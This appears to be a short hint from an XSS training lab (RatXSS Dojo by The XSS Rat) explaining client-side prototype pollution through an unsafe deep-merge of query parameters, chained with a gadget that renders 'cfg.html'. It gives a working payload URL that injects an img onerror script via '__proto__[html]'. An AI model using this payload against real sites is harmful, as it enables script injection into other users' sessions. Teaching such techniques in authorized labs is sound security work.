Client does an unsafe deep-merge of query params into {} (walks __proto__), then a gadget renders cfg.html if set. Pollute the prototype so every object gains it: /adv/proto-pollution?__proto__[html]=<img src=x onerror=alert(document.domain)>
RatXSS Dojo · HackXpert Coaching · The XSS Rat · authorized lab use only